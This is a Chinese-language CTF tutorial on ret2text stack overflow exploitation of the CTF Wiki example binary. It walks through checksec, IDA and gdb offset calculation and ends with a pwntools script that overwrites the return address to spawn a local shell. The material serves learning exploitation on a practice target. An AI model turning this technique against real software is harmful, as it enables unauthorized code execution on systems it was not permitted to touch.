原理

ret2text即控制程序执行程序本身已有的代码(.text),即通过栈溢出漏洞,将返回地址覆盖到程序的某个片段(如shell)从而获取权限。

例题

这里使用ctf wiki上的一个例题(点我下载)

checksec查询保护

首先,使用checksec查看一下保护情况:

nx.png

发现NX保护开启,栈上不可执行。

IDA分析

使用IDA打开调试:

text.png

发现使用了gets函数,存在栈溢出漏洞。

然后,我们在security函数中发现了**”/bin/sh”**

shell.png

也就是说,如果我们可以控制程序返回地址为0804863A,就可以拿下权限。

下面,我们计算字节大小构造payload

text2.png

由下面汇编指令:

1
2
3
4
s               = byte ptr - 64h
...
lea eax, [esp + 80h + s]
mov [esp], eax ;s

s相对于ebp的偏移地址是-64h,s相对于esp偏移为0x1C

gdb断点调试

我们使用gdb在gets函数调用处下断点,然后观察寄存器变化。

gdb.png

发现:esp的地址为0xffffd180,ebp的地址为0xffffd208。

  • s相对于esp的偏移地址为1C —> s的地址为0xffffd19C
  • s相对于ebp的偏移为6C —> 相对于返回地址偏移0x6C + 4

编写脚本

1
2
3
4
5
6
7
8
9
from pwn import *

io = process('./ret2text')

address = 0x0804863A
payload = b'A' * 0x6c + b'A' * 4 + p32(address)

io.sendline(payload)
io.interactive()

直接运行脚本即可获得Shell权限

总结

ret2text是最简单的栈溢出,只需要将某个函数的返回地址覆盖为某个程序片段。(如:执行system(‘/bin/bash’)的代码)控制函数执行流程